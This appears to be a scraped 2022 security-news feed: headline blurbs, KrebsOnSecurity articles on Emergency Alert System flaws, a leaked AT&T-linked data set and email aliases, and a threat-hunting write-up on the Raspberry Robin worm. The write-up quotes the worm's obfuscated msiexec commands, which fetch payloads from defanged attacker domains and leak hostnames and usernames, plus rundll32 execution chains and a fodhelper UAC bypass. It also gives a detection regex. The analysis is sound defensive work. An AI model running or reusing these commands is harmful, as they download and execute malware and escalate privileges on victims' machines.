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Before yesterdaySecurity

How a spoofed email passed the SPF check and landed in my inbox

By Rene Holt

The Sender Policy Framework can’t help prevent spam and phishing if you allow billions of IP addresses to send as your domain

The post How a spoofed email passed the SPF check and landed in my inbox appeared first on WeLiveSecurity

Zoom for Mac patches critical bug – update now!

By Paul Ducklin
There's many a slip 'twixt the cup and the lip. Or at least between the TOC and the TOU...

Credential Theft Is (Still) A Top Attack Method

By The Hacker News
Credential theft is clearly still a problem. Even after years of warnings, changing password requirements, and multiple forms of authentication, password stealing remains a top attack method used by cyber criminals. The latest report from the Ponemon Institute shares that 54% of security incidents were caused by credential theft, followed by ransomware and DDoS attacks. 59% of organizations

Black Hat and DEF CON Roundup

By Threatpost
‘Summer Camp’ for hackers features a compromised satellite, a homecoming for hackers and cyberwarfare warnings.

Black Hat USA 2022: Burnout, a significant issue

By Tony Anscombe

The digital skills gap, especially in cybersecurity, is not a new phenomenon, with the problem now further exacerbated by the prevalence of burnout

The post Black Hat USA 2022: Burnout, a significant issue appeared first on WeLiveSecurity

Black Hat – Windows isn’t the only mass casualty platform anymore

By Cameron Camp

Windows used to be the big talking point when it came to exploits resulting in mass casualties. Nowadays, talks turned to other massive attack platforms like #cloud and cars

The post Black Hat – Windows isn’t the only mass casualty platform anymore appeared first on WeLiveSecurity

U.K. Water Supplier Hit with Clop Ransomware Attack

By Elizabeth Montalbano
The incident disrupted corporate IT systems at one company while attackers misidentified the victim in a post on its website that leaked stolen data.

Xiaomi Phone Bug Allowed Payment Forgery

By Nate Nelson
Mobile transactions could’ve been disabled, created and signed by attackers.

Black Hat and DEF CON Roundup

By Threatpost
‘Summer Camp’ for hackers features a compromised satellite, a homecoming for hackers and cyberwarfare warnings.

How to Create a Secure Folder on Your Phone

By David Nield
Keep private photos, videos, and documents away from prying eyes.

A New Tractor Jailbreak Rides the Right-to-Repair Wave

By Lily Hay Newman
A hacker has formulated an exploit that provides root access to two popular models of the company’s farm equipment.

Flaw in the VA Medical Records Platform May Put Patients at Risk

By Lily Hay Newman
The Veterans Affairs’ VistA software has a vulnerability that could let an attacker “masquerade as a doctor,” a security researcher warns.

The Feds Gear Up for a Privacy Crackdown

By Matt Burgess, Andrew Couts
Plus: Cisco gets hit by ransomware, Twilio gets phished, a new way to fight email spammers, and much more.

Chinese Hackers Backdoored MiMi Chat App to Target Windows, Linux, macOS Users

By Ravie Lakshmanan
A pair of reports from cybersecurity firms SEKOIA and Trend Micro sheds light on a new campaign undertaken by a Chinese threat actor named Lucky Mouse that involves leveraging a trojanized version of a cross-platform messaging app to backdoor systems. Infection chains leverage a chat application called MiMi, with its installer files compromised to download and install HyperBro samples for the

A Single Flaw Broke Every Layer of Security in MacOS

By Matt Burgess
An injection flaw allowed a researcher to access all files on a Mac. Apple issued a fix, but some machines may still be vulnerable.

Zoom’s Auto-Update Feature Came With Hidden Risks on Mac

By Lily Hay Newman
The popular video meeting app makes it easy to keep the software up to date—but it also introduced vulnerabilities.

Researchers Uncover UEFI Secure Boot Bypass in 3 Microsoft Signed Boot Loaders

By Ravie Lakshmanan
A security feature bypass vulnerability has been uncovered in three signed third-party Unified Extensible Firmware Interface (UEFI) boot loaders that allow bypass of the UEFI Secure Boot feature. "These vulnerabilities can be exploited by mounting the EFI System Partition and replacing the existing bootloader with the vulnerable one, or modifying a UEFI variable to load the vulnerable loader

Here’s What Trump’s ‘Nuclear Documents’ Could Be

By Garrett M. Graff
FBI agents reportedly searched Mar-a-Lago for “nuclear documents.” That can fall into one of these four categories.

Sounding the Alarm on Emergency Alert System Flaws

By BrianKrebs

The Department of Homeland Security (DHS) is urging states and localities to beef up security around proprietary devices that connect to the Emergency Alert System — a national public warning system used to deliver important emergency information, such as severe weather and AMBER alerts. The DHS warning came in advance of a workshop to be held this weekend at the DEFCON security conference in Las Vegas, where a security researcher is slated to demonstrate multiple weaknesses in the nationwide alert system.

A Digital Alert Systems EAS encoder/decoder that Pyle said he acquired off eBay in 2019. It had the username and password for the system printed on the machine.

The DHS warning was prompted by security researcher Ken Pyle, a partner at security firm Cybir. Pyle said he started acquiring old EAS equipment off of eBay in 2019, and that he quickly identified a number of serious security vulnerabilities in a device that is broadly used by states and localities to encode and decode EAS alert signals.

“I found all kinds of problems back then, and reported it to the DHS, FBI and the manufacturer,” Pyle said in an interview with KrebsOnSecurity. “But nothing ever happened. I decided I wasn’t going to tell anyone about it yet because I wanted to give people time to fix it.”

Pyle said he took up the research again in earnest after an angry mob stormed the U.S. Capitol on Jan. 6, 2021.

“I was sitting there thinking, ‘Holy shit, someone could start a civil war with this thing,”’ Pyle recalled. “I went back to see if this was still a problem, and it turns out it’s still a very big problem. So I decided that unless someone actually makes this public and talks about it, clearly nothing is going to be done about it.”

The EAS encoder/decoder devices Pyle acquired were made by Lyndonville, NY-based Digital Alert Systems (formerly Monroe Electronics, Inc.), which issued a security advisory this month saying it released patches in 2019 to fix the flaws reported by Pyle, but that some customers are still running outdated versions of the device’s firmware. That may be because the patches were included in version 4 of the firmware for the EAS devices, and many older models apparently do not support the new software.

“The vulnerabilities identified present a potentially serious risk, and we believe both were addressed in software updates issued beginning Oct 2019,” EAS said in a written statement. “We also provided attribution for the researcher’s responsible disclosure, allowing us to rectify the matters before making any public statements. We are aware that some users have not taken corrective actions and updated their software and should immediately take action to update the latest software version to ensure they are not at risk. Anything lower than version 4.1 should be updated immediately. On July 20, 2022, the researcher referred to other potential issues, and we trust the researcher will provide more detail. We will evaluate and work to issue any necessary mitigations as quickly as possible.”

But Pyle said a great many EAS stakeholders are still ignoring basic advice from the manufacturer, such as changing default passwords and placing the devices behind a firewall, not directly exposing them to the Internet, and restricting access only to trusted hosts and networks.

Pyle, in a selfie that is heavily redacted because the EAS device behind him had its user credentials printed on the lid.

Pyle said the biggest threat to the security of the EAS is that an attacker would only need to compromise a single EAS station to send out alerts locally that can be picked up by other EAS systems and retransmitted across the nation.

“The process for alerts is automated in most cases, hence, obtaining access to a device will allow you to pivot around,” he said. “There’s no centralized control of the EAS because these devices are designed such that someone locally can issue an alert, but there’s no central control over whether I am the one person who can send or whatever. If you are a local operator, you can send out nationwide alerts. That’s how easy it is to do this.”

One of the Digital Alert Systems devices Pyle sourced from an electronics recycler earlier this year was non-functioning, but whoever discarded it neglected to wipe the hard drive embedded in the machine. Pyle soon discovered the device contained the private cryptographic keys and other credentials needed to send alerts through Comcast, the nation’s third-largest cable company.

“I can issue and create my own alert here, which has all the valid checks or whatever for being a real alert station,” Pyle said in an interview earlier this month. “I can create a message that will start propagating through the EAS.”

Comcast told KrebsOnSecurity that “a third-party device used to deliver EAS alerts was lost in transit by a trusted shipping provider between two Comcast locations and subsequently obtained by a cybersecurity researcher.

“We’ve conducted a thorough investigation of this matter and have determined that no customer data, and no sensitive Comcast data, were compromised,” Comcast spokesperson David McGuire said.

The company said it also confirmed that the information included on the device can no longer be used to send false messages to Comcast customers or used to compromise devices within Comcast’s network, including EAS devices.

“We are taking steps to further ensure secure transfer of such devices going forward,” McGuire said. “Separately, we have conducted a thorough audit of all EAS devices on our network and confirmed that they are updated with currently available patches and are therefore not vulnerable to recently reported security issues. We’re grateful for the responsible disclosure and to the security research community for continuing to engage and share information with our teams to make our products and technologies ever more secure. Mr. Pyle informed us promptly of his research and worked with us as we took steps to validate his findings and ensure the security of our systems.”

The user interface for an EAS device.

Unauthorized EAS broadcast alerts have happened enough that there is a chronicle of EAS compromises over at fandom.com. Thankfully, most of these incidents have involved fairly obvious hoaxes.

According to the EAS wiki, in February 2013, hackers broke into the EAS networks in Great Falls, Mt. and Marquette, Mich. to broadcast an alert that zombies had risen from their graves in several counties. In Feb. 2017, an EAS station in Indiana also was hacked, with the intruders playing the same “zombies and dead bodies” audio from the 2013 incidents.

“On February 20 and February 21, 2020, Wave Broadband’s EASyCAP equipment was hacked due to the equipment’s default password not being changed,” the Wiki states. “Four alerts were broadcasted, two of which consisted of a Radiological Hazard Warning and a Required Monthly Test playing parts of the Hip Hop song Hot by artist Young Thug.”

In January 2018, Hawaii sent out an alert to cell phones, televisions and radios, warning everyone in the state that a missile was headed their way. It took 38 minutes for Hawaii to let people know the alert was a misfire, and that a draft alert was inadvertently sent. The news video clip below about the 2018 event in Hawaii does a good job of walking through how the EAS works.

Black Hat 2022 – Cyberdefense in a global threats era

By Tony Anscombe

Our Security evangelist's take on this first day of Black Hat 2022, where cyberdefense was on every mind.

The post Black Hat 2022 – Cyberdefense in a global threats era appeared first on WeLiveSecurity

Xiaomi Phones with MediaTek Chips Found Vulnerable to Forged Payments

By Ravie Lakshmanan
Security flaws have been identified in Xiaomi Redmi Note 9T and Redmi Note 11 models, which could be exploited to disable the mobile payment mechanism and even forge transactions via a rogue Android app installed on the devices. Check Point said it found the flaws in devices powered by MediaTek chipsets during a security analysis of the Chinese handset maker's Trusted Execution Environment (TEE)

Safety first: how to tweak the settings on your dating apps

By André Lameiras

Tinder, Bumble or Grindr - popular dating apps depend heavily on your location, personal data, and loose privacy settings. Find out how to put yourself out there safely by following our suggested settings tweaks.

The post Safety first: how to tweak the settings on your dating apps appeared first on WeLiveSecurity

Feds: Zeppelin Ransomware Resurfaces with New Compromise, Encryption Tactics

By Elizabeth Montalbano
The CISA has seen a resurgence of the malware targeting a range of verticals and critical infrastructure organizations by exploiting RDP, firewall vulnerabilities.

Feds: Zeppelin Ransomware Resurfaces with New Compromise, Encryption Tactics

By Elizabeth Montalbano
The CISA has seen a resurgence of the malware targeting a range of verticals and critical infrastructure organizations by exploiting RDP, firewall vulnerabilities.

Cisco Patches High-Severity Vulnerability Affecting ASA and Firepower Solutions

By Ravie Lakshmanan
Cisco on Wednesday released patches to contain multiple flaws in its software that could be abused to leak sensitive information on susceptible appliances. The issue, assigned the identifier CVE-2022-20866 (CVSS score: 7.4), has been described as a "logic error" when handling RSA keys on devices running Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD)

Researchers Warn of Ongoing Mass Exploitation of Zimbra RCE Vulnerability

By Ravie Lakshmanan
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Thursday added two flaws to its Known Exploited Vulnerabilities Catalog, citing evidence of active exploitation. The two high-severity issues relate to weaknesses in Zimbra Collaboration, both of which could be chained to achieve unauthenticated remote code execution on affected email servers - CVE-2022-27925 (CVSS score: 7.2)

The US Offers a $10M Bounty for Intel on Conti Ransomware Gang

By Matt Burgess
The State Department organization has called for people to share details about five key members of the hacking group.

It Might Be Our Data, But It’s Not Our Breach

By BrianKrebs

Image: Shutterstock.

A cybersecurity firm says it has intercepted a large, unique stolen data set containing the names, addresses, email addresses, phone numbers, Social Security Numbers and dates of birth on nearly 23 million Americans. The firm’s analysis of the data suggests it corresponds to current and former customers of AT&T. The telecommunications giant stopped short of saying the data wasn’t theirs, but it maintains the records do not appear to have come from its systems and may be tied to a previous data incident at another company.

Milwaukee-based cybersecurity consultancy Hold Security said it intercepted a 1.6 gigabyte compressed file on a popular dark web file-sharing site. The largest item in the archive is a 3.6 gigabyte file called “dbfull,” and it contains 28.5 million records, including 22.8 million unique email addresses and 23 million unique SSNs. There are no passwords in the database.

Hold Security founder Alex Holden said a number of patterns in the data suggest it relates to AT&T customers. For starters, email addresses ending in “att.net” accounted for 13.7 percent of all addresses in the database, with addresses from SBCGLobal.net and Bellsouth.net — both AT&T companies — making up another seven percent. In contrast, Gmail users made up more than 30 percent of the data set, with Yahoo addresses accounting for 24 percent. More than 10,000 entries in the database list “none@att.com” in the email field.

Hold Security found these email domains account for 87% of all domains in the data set. Nearly 21% belonged to AT&T customers.

Holden’s team also examined the number of email records that included an alias in the username portion of the email, and found 293 email addresses with plus addressing. Of those, 232 included an alias that indicated the customer had signed up at some AT&T property; 190 of the aliased email addresses were “+att@”; 42 were “+uverse@,” an oddly specific reference to an AT&T entity that included broadband Internet. In September 2016, AT&T rebranded U-verse as AT&T Internet.

According to its website, AT&T Internet is offered in 21 states, including Alabama, Arkansas, California, Florida, Georgia, Indiana, Kansas, Kentucky, Louisiana, Michigan, Missouri, Nevada, North Carolina, Ohio, Oklahoma, Tennessee, Texas and Wisconsin. Nearly all of the records in the database that contain a state designation corresponded to those 21 states; all other states made up just 1.64 percent of the records, Hold Security found.

Image: Hold Security.

The vast majority of records in this database belong to consumers, but almost 13,000 of the entries are for corporate entities. Holden said 387 of those corporate names started with “ATT,” with various entries like “ATT PVT XLOW” appearing 81 times. And most of the addresses for these entities are AT&T corporate offices.

How old is this data? One clue may be in the dates of birth exposed in this database. There are very few records in this file with dates of birth after 2000.

“Based on these statistics, we see that the last significant number of subscribers born in March of 2000,” Holden told KrebsOnSecurity, noting that AT&T requires new account holders to be 18 years of age or older. “Therefore, it makes sense that the dataset was likely created close to March of 2018.”

There was also this anomaly: Holden said one of his analysts is an AT&T customer with a 13-letter last name, and that her AT&T bill has always had the same unique misspelling of her surname (they added yet another letter). He said the analyst’s name is identically misspelled in this database.

KrebsOnSecurity shared the large data set with AT&T, as well as Hold Security’s analysis of it. AT&T ultimately declined to say whether all of the people in the database are or were at some point AT&T customers. The company said the data appears to be several years old, and that “it’s not immediately possible to determine the percentage that may be customers.”

“This information does not appear to have come from our systems,” AT&T said in a written statement. “It may be tied to a previous data incident at another company. It is unfortunate that data can continue to surface over several years on the dark web. However, customers often receive notices after such incidents, and advice for ID theft is consistent and can be found online.”

The company declined to elaborate on what they meant by “a previous data incident at another company.”

But it seems likely that this database is related to one that went up for sale on a hacker forum on August 19, 2021. That auction ran with the title “AT&T Database +70M (SSN/DOB),” and was offered by ShinyHunters, a well-known threat actor with a long history of compromising websites and developer repositories to steal credentials or API keys.

Image: BleepingComputer

ShinyHunters established the starting price for the auction at $200,000, but set the “flash” or “buy it now” price at $1 million. The auction also included a small sampling of the stolen information, but that sample is no longer available. The hacker forum where the ShinyHunters sales thread existed was seized by the FBI in April, and its alleged administrator arrested.

But cached copies of the auction, as recorded by cyber intelligence firm Intel 471, show ShinyHunters received bids of up to $230,000 for the entire database before they suspended the sale.

“This thread has been deleted several times,” ShinyHunters wrote in their auction discussion on Sept. 6, 2021. “Therefore, the auction is suspended. AT&T will be available on WHM as soon as they accept new vendors.”

The WHM initialism was a reference to the White House Market, a dark web marketplace that shut down in October 2021.

“In many cases, when a database is not sold, ShinyHunters will release it for free on hacker forums,” wrote BleepingComputer’s Lawrence Abrams, who broke the news of the auction last year and confronted AT&T about the hackers’ claims.

AT&T gave Abrams a similar statement, saying the data didn’t come from their systems.

“When asked whether the data may have come from a third-party partner, AT&T chose not to speculate,” Abrams wrote. “‘Given this information did not come from us, we can’t speculate on where it came from or whether it is valid,'” AT&T told BleepingComputer.

Asked to respond to AT&T’s denial, ShinyHunters told BleepingComputer at the time, “I don’t care if they don’t admit. I’m just selling.”

On June 1, 2022, a 21-year-old Frenchman was arrested in Morocco for allegedly being a member of ShinyHunters. Databreaches.net reports the defendant was arrested on an Interpol “Red Notice” at the request of a U.S. federal prosecutor from Washington state.

Databreaches.net suggests the warrant could be tied to a ShinyHunters theft in May 2020, when the group announced they had exfiltrated 500 GB of Microsoft’s source code from Microsoft’s private GitHub repositories.

“Researchers assess that Shiny Hunters gained access to roughly 1,200 private repositories around March 28, 2020, which have since been secured,” reads a May 2020 alert posted by the New Jersey Cybersecurity & Communications Integration Cell, a component within the New Jersey Office of Homeland Security and Preparedness.

“Though the breach was largely dismissed as insignificant, some images of the directory listing appear to contain source code for Azure, Office, and some Windows runtimes, and concerns have been raised regarding access to private API keys or passwords that may have been mistakenly included in some private repositories,” the alert continues. “Additionally, Shiny Hunters is flooding dark web marketplaces with breached databases.”

Last month, T-Mobile agreed to pay $350 million to settle a consolidated class action lawsuit over a breach in 2021 that affected 40 million current and former customers. The breach came to light on Aug. 16, 2021, when someone starting selling tens of millions of SSN/DOB records from T-Mobile on the same hacker forum where the ShinyHunters would post their auction for the claimed AT&T database just three days later.

T-Mobile has not disclosed many details about the “how” of last year’s breach, but it said the intruder(s) “leveraged their knowledge of technical systems, along with specialized tools and capabilities, to gain access to our testing environments and then used brute force attacks and other methods to make their way into other IT servers that included customer data.”

A sales thread tied to the stolen T-Mobile customer data.

Sloppy Software Patches Are a ‘Disturbing Trend’

By Lily Hay Newman
The Zero Day Initiative has found a concerning uptick in security updates that fail to fix vulnerabilities.

An eighties classic – Zero Trust

By Tony Anscombe

A deep-dive into zero trust to help you navigate the threat landscape in a zero-trust world and further secure your organization

The post An eighties classic – Zero Trust appeared first on WeLiveSecurity

Meta Just Happens to Expand Messenger’s End-to-End Encryption

By Lily Hay Newman
The company says an expansion of privacy features in Messenger is unrelated to a high-profile Nebraska abortion case.

This Anti-Tracking Tool Checks If You’re Being Followed

By Matt Burgess
The Raspberry Pi-powered device can scan for phones around you. If it keeps spotting the same one, it’ll send you an alert.

What the Zola Hack Can Teach Us About Password Security

By The Hacker News
Password security is only as strong as the password itself. Unfortunately, we are often reminded of the danger of weak, reused, and compromised passwords with major cybersecurity breaches that start with stolen credentials. For example, in May 2022, the popular wedding planning site, Zola, was the victim of a significant cybersecurity breach where hackers used an attack known as credential

Critical Flaws Disclosed in Device42 IT Asset Management Software

By Ravie Lakshmanan
Cybersecurity researchers have disclosed multiple severe security vulnerabilities asset management platform Device42 that, if successfully exploited, could enable a malicious actor to seize control of affected systems. "By exploiting these issues, an attacker could impersonate other users, obtain admin-level access in the application (by leaking session with an LFI) or obtain full access to the

GitHub Dependabot Now Alerts Developers On Vulnerable GitHub Actions

By Ravie Lakshmanan
Cloud-based code hosting platform GitHub has announced that it will now start sending Dependabot alerts for vulnerable GitHub Actions to help developers fix security issues in CI/CD workflows. "When a security vulnerability is reported in an action, our team of security researchers will create an advisory to document the vulnerability, which will trigger an alert to impacted repositories,"

Google's Android Red Team Had a Full Pixel 6 Pwn Before Launch

By Lily Hay Newman
Before the flagship phone ever landed in users’ hands, the security team thoroughly hacked it by finding bugs and developing exploits.

A Long-Awaited IoT Reverse Engineering Tool Is Finally Here

By Lily Hay Newman
Ten years after it was first unveiled, the powerful firmware analysis platform Ofrak is now available to anyone.

APIC/EPIC! Intel chips leak secrets even the kernel shouldn’t see…

By Paul Ducklin
If you've ever written code that left stuff lying around in memory when you didn't need it any more... we bet you've regretted it!

Former Twitter Employee Found Guilty of Spying for Saudi Arabia

By Ravie Lakshmanan
A former Twitter employee has been pronounced guilty for his role in digging up private information pertaining to certain Twitter users and turning over that data to Saudi Arabia. Ahmad Abouammo, 44, was convicted by a jury after a two-week trial in San Francisco federal court, Bloomberg reported Tuesday. He faces up to 20 years in prison when sentenced. The verdict comes nearly three years

The Security Pros and Cons of Using Email Aliases

By BrianKrebs

One way to tame your email inbox is to get in the habit of using unique email aliases when signing up for new accounts online. Adding a “+” character after the username portion of your email address — followed by a notation specific to the site you’re signing up at — lets you create an infinite number of unique email addresses tied to the same account. Aliases can help users detect breaches and fight spam. But not all websites allow aliases, and they can complicate account recovery. Here’s a look at the pros and cons of adopting a unique alias for each website.

What is an email alias? When you sign up at a site that requires an email address, think of a word or phrase that represents that site for you, and then add that prefaced by a “+” sign just to the left of the “@” sign in your email address. For instance, if I were signing up at example.com, I might give my email address as krebsonsecurity+example@gmail.com. Then, I simply go back to my inbox and create a corresponding folder called “Example,” along with a new filter that sends any email addressed to that alias to the Example folder.

Importantly, you don’t ever use this alias anywhere else. That way, if anyone other than example.com starts sending email to it, it is reasonable to assume that example.com either shared your address with others or that it got hacked and relieved of that information. Indeed, security-minded readers have often alerted KrebsOnSecurity about spam to specific aliases that suggested a breach at some website, and usually they were right, even if the company that got hacked didn’t realize it at the time.

Alex Holden, founder of the Milwaukee-based cybersecurity consultancy Hold Security, said many threat actors will scrub their distribution lists of any aliases because there is a perception that these users are more security- and privacy-focused than normal users, and are thus more likely to report spam to their aliased addresses.

Holden said freshly-hacked databases also are often scrubbed of aliases before being sold in the underground, meaning the hackers will simply remove the aliased portion of the email address.

“I can tell you that certain threat groups have rules on ‘+*@’ email address deletion,” Holden said. “We just got the largest credentials cache ever — 1 billion new credentials to us — and most of that data is altered, with aliases removed. Modifying credential data for some threat groups is normal. They spend time trying to understand the database structure and removing any red flags.”

According to the breach tracking site HaveIBeenPwned.com, only about .03 percent of the breached records in circulation today include an alias.

Email aliases are rare enough that seeing just a few email addresses with the same alias in a breached database can make it trivial to identify which company likely got hacked and leaked said database. That’s because the most common aliases are simply the name of the website where the signup takes place, or some abbreviation or shorthand for it.

Hence, for a given database, if there are more than a handful of email addresses that have the same alias, the chances are good that whatever company or website corresponds to that alias has been hacked.

That might explain the actions of Allekabels, a large Dutch electronics web shop that suffered a data breach in 2021. Allekabels said a former employee had stolen data on 5,000 customers, and that those customers were then informed about the data breach by Allekabels.

But Dutch publication RTL Nieuws said it obtained a copy of the Allekabels user database from a hacker who was selling information on 3.6 million customers at the time, and found that the 5,000 number cited by the retailer corresponded to the number of customers who’d signed up using an alias. In essence, RTL argued, the company had notified only those most likely to notice and complain that their aliased addresses were suddenly receiving spam.

“RTL Nieuws has called more than thirty people from the database to check the leaked data,” the publication explained. “The customers with such a unique email address have all received a message from Allekabels that their data has been leaked – according to Allekabels they all happened to be among the 5000 data that this ex-employee had stolen.”

HaveIBeenPwned’s Hunt arrived at the conclusion that aliases account for about .03 percent of registered email addresses by studying the data leaked in the 2013 breach at Adobe, which affected at least 38 million users. Allekabels’s ratio of aliased users was considerably higher than Adobe’s — .14 percent — but then again European Internet users tend to be more privacy-conscious.

While overall adoption of email aliases is still quite low, that may be changing. Apple customers who use iCloud to sign up for new accounts online automatically are prompted to use Apple’s Hide My Email feature, which creates the account using a unique email address that automatically forwards to a personal inbox.

What are the downsides to using email aliases, apart from the hassle of setting them up? The biggest downer is that many sites won’t let you use a “+” sign in your email address, even though this functionality is clearly spelled out in the email standard.

Also, if you use aliases, it helps to have a reliable mnemonic to remember the alias used for each account (this is a non-issue if you create a new folder or rule for each alias). That’s because knowing the email address for an account is generally a prerequisite for resetting the account’s password, and if you can’t remember the alias you added way back when you signed up, you may have limited options for recovering access to that account if you at some point forget your password.

What about you, Dear Reader? Do you rely on email aliases? If so, have they been useful? Did I neglect to mention any pros or cons? Feel free to sound off in the comments below.

The Hacking of Starlink Terminals Has Begun

By Matt Burgess
It cost a researcher only $25 worth of parts to create a tool that allows custom code to run on the satellite dishes.

Experts Uncover Details on Maui Ransomware Attack by North Korean Hackers

By Ravie Lakshmanan
The first ever incident possibly involving the ransomware family known as Maui occurred on April 15, 2021, aimed at an unnamed Japanese housing company. The disclosure from Kaspersky arrives a month after U.S. cybersecurity and intelligence agencies issued an advisory about the use of the ransomware strain by North Korean government-backed hackers to target the healthcare sector since at least

Microsoft Patches ‘Dogwalk’ Zero-Day and 17 Critical Flaws

By Threatpost
August Patch Tuesday tackles 121 CVEs, 17 critical bugs and one zero-day bug exploited in the wild.

The Business of Hackers-for-Hire Threat Actors

By The Hacker News
Today's web has made hackers' tasks remarkably easy. For the most part, hackers don't even have to hide in the dark recesses of the web to take advantage of people any longer; they can be found right in plain sight on social media sites or forums, professionally advertised with their websites, and may even approach you anonymously through such channels as Twitter. Cybercrime has entered a new

Hackers Behind Twilio Breach Also Targeted Cloudflare Employees

By Ravie Lakshmanan
Web infrastructure company Cloudflare on Tuesday disclosed at least 76 employees and their family members received text messages on their personal and work phones bearing similar characteristics as that of the sophisticated phishing attack against Twilio. The attack, which transpired around the same time Twilio was targeted, came from four phone numbers associated with T-Mobile-issued SIM cards

Microsoft Patches ‘Dogwalk’ Zero-Day and 17 Critical Flaws

By Threatpost
August Patch Tuesday tackles 121 CVEs, 17 critical bugs and one zero-day bug exploited in the wild.

Microsoft Issues Patches for 121 Flaws, Including Zero-Day Under Active Attack

By Ravie Lakshmanan
As many as 121 new security flaws were patched by Microsoft as part of its Patch Tuesday updates for the month of August, which also includes a fix for a Support Diagnostic Tool vulnerability that the company said is being actively exploited in the wild. Of the 121 bugs, 17 are rated Critical, 102 are rated Important, one is rated Moderate, and one is rated Low in severity. Two of the issues

One of 5G’s Biggest Features Is a Security Minefield

By Lily Hay Newman
New research found troubling vulnerabilities in the 5G platforms carriers offer to wrangle embedded device data.

Big Takeaways From the FBI's Mar-a-Lago Raid

By Garrett M. Graff
The fact that a search of Donald Trump's Florida home was even necessary says a lot.

Raspberry Robin: Highly Evasive Worm Spreads over External Disks

By Onur Mustafa Erdogan

Introduction

During our threat hunting exercises in recent months, we’ve started to observe a distinguishing pattern of msiexec.exe usage across different endpoints. As we drilled down to individual assets, we found traces of a recently discovered malware called Raspberry Robin. The RedCanary Research Team first coined the name for this malware in their blog post, and Sekoia published a Flash Report about the activity under the name of QNAP Worm. Both articles offer great analysis of the malware’s behavior. Our findings support and enrich prior research on the topic.

Execution Chain

Raspberry Robin is a worm that spreads over an external drive. After initial infection, it downloads its payload through msiexec.exe from QNAP cloud accounts, executes its code through rundll32.exe, and establishes a command and control (C2) channel through TOR connections.

Image 1: Execution chain of Raspberry Robin

Let’s walkthrough the steps of the kill-chain to see how this malware functions.

Delivery and Exploitation

Raspberry Robin is delivered through infected external disks. Once attached, cmd.exe tries to execute commands from a file within that disk. This file is either a .lnk file or a file with a specific naming pattern. Files with this pattern exhibit a 2 to 5 character name with an usually obscure extension, including .swy, .chk, .ico, .usb, .xml, and .cfg. Also, the attacker uses an excessive amount of whitespace/non printable characters and changing letter case to avoid string matching detection techniques. Example command lines include:

  • C:\Windows\System32\cmd.exe [redacted whitespace/non printable characters] /RCmD<qjM.chK
  • C:\Windows\System32\cmd.exe [redacted whitespace/non printable characters] /rcMD<[external disk name].LNk:qk
  • C:\Windows\System32\cmd.exe [redacted whitespace/non printable characters] /v /c CMd<VsyWZ.ICO
  • C:\Windows\System32\cmd.exe [redacted whitespace/non printable characters] /R C:\WINDOWS\system32\cmd.exe<Gne.Swy

File sample for delivery can be found in this URL:
https://www.virustotal.com/gui/file/04c13e8b168b6f313745be4034db92bf725d47091a6985de9682b21588b8bcae/relations

Next, we observe explorer.exe running with an obscure command line argument, spawned by a previous instance of cmd.exe. This obscure argument seems to take the name of an infected external drive or .lnk file that was previously executed. Some of the samples had values including USB, USB DISK, or USB Drive, while some other samples had more specific names. On every instance of explorer.exe we see that the adversary is changing the letter case to avoid detection:

  • ExPLORer [redacted]
  • exploREr [redacted]
  • ExplORER USB Drive
  • eXplorer USB DISK

Installation

After delivery and initial execution, cmd.exe spawns msiexec.exe to download the Raspberry Robin payload. It uses -q or /q together with standard installation parameter to operate quietly. Once again, mixed case letters are used to bypass detection:

  • mSIexeC -Q -IhTtP://NT3[.]XyZ:8080/[11 char long random string]/[computer name]=[username]
  • mSIExEC /q /i HTTP://k6j[.]PW:8080/[11 char long random string]/[computer name]=[username]
  • MSIExEC -q -I HTTP://6W[.]RE:8080/[11 char long random string]/[computer name]=[username]
  • mSIExec /Q /IhTTP://0Dz[.]Me:8080/[11 char long random string]/[computer name]=[username]
  • msIexec /Q -i http://doem[.]Re:8080/[11 char long random string]/[computer name]?[username]
  • MSieXEC -Q-ihtTp://aIj[.]HK:8080/[11 char long random string]/[computer name]?[username]

As you can see above, URLs used for payload download have a specific pattern. Domains use 2 to 4 character names with obscure TLDs including .xyz, .hk, .info, .pw, .cx, .me, and more. URL paths have a single directory with a random string 11 characters long, followed by hostname and the username of the victim. On network telemetry, we also observed the Windows Installer user agent due to the usage of msiexec.exe. To detect Raspberry Robin through its URL pattern, use this regex:

^http[s]{0,1}\:\/\/[a-zA-Z0-9]{2,4}\.[a-zA-Z0-9]{2,6}\:8080\/[a-zA-Z0-9]+\/.*?(?:-|\=|\?).*?$

If we look up the WHOIS information for given domains, we see domain registration dates going as far back as February 2015. We also see an increase on registered domains starting from September 2021, which aligns with initial observations of Raspberry Robin by our peers.

WHOIS Creation Date Count
12/9/2015 1
10/8/2020 1
11/14/2020 1
7/3/2021 1
7/26/2021 2
9/11/2021 2
9/23/2021 9
9/24/2021 6
9/26/2021 4
9/27/2021 2
11/9/2021 3
11/10/2021 1
11/18/2021 2
11/21/2021 3
12/11/2021 7
12/31/2021 7
1/17/2022 6
1/30/2022 11
1/31/2022 3
4/17/2022 5

Table 1: Distribution of domain creation dates over time

 

Associated domains have SSL certificates with the subject alternative name of q74243532.myqnapcloud.com, which points out the underlying QNAP cloud infra. Also, their URL scan results return login pages to QTS service of QNAP:

Image 2: QNAP QTS login page from associated domains

Once the payload is downloaded, it is executed through various system binaries. First, rundll32.exe uses the ShellExec_RunDLL function from shell32.dll to leverage system binaries such as msiexec.exe, odbcconf.exe, or control.exe. These binaries are used to execute the payload stored in C:\ProgramData\[3 chars]\

  • C:\WINDOWS\system32\rundll32.exe shell32.dll ShellExec_RunDLL C:\WINDOWS\syswow64\MSIEXEC.EXE/FORCERESTART rfmda=HUFQMJFZWJSBPXH -NORESTART /QB -QR -y C:\ProgramData\Azu\wnjdgz.vhbd. -passive /QR /PROMPTRESTART -QR -qb /forcerestart
  • C:\Windows\system32\RUNDLL32.EXE shell32.dll ShellExec_RunDLLA C:\Windows\syswow64\odbcconf.exe -s -C -a {regsvr C:\ProgramData\Tvb\zhixyye.lock.} /a {CONFIGSYSDSN wgdpb YNPMVSV} /A {CONFIGDSN dgye AVRAU pzzfvzpihrnyj}
  • exe SHELL32,ShellExec_RunDLLA C:\WINDOWS\syswow64\odbcconf -E /c /C -a {regsvr C:\ProgramData\Euo\ikdvnbb.xml.}
  • C:\WINDOWS\system32\rundll32.exe SHELL32,ShellExec_RunDLL C:\WINDOWS\syswow64\CONTROL.EXE C:\ProgramData\Lzm\qkuiht.lkg.

It is followed by the execution of fodhelper.exe, which has the auto elevated bit set to true. It is often leveraged by adversaries in order to bypass User Account Control and execute additional commands with escalated privileges [3]. To monitor suspicious executions of fodhelper.exe, we suggest monitoring its instances without any command line arguments.

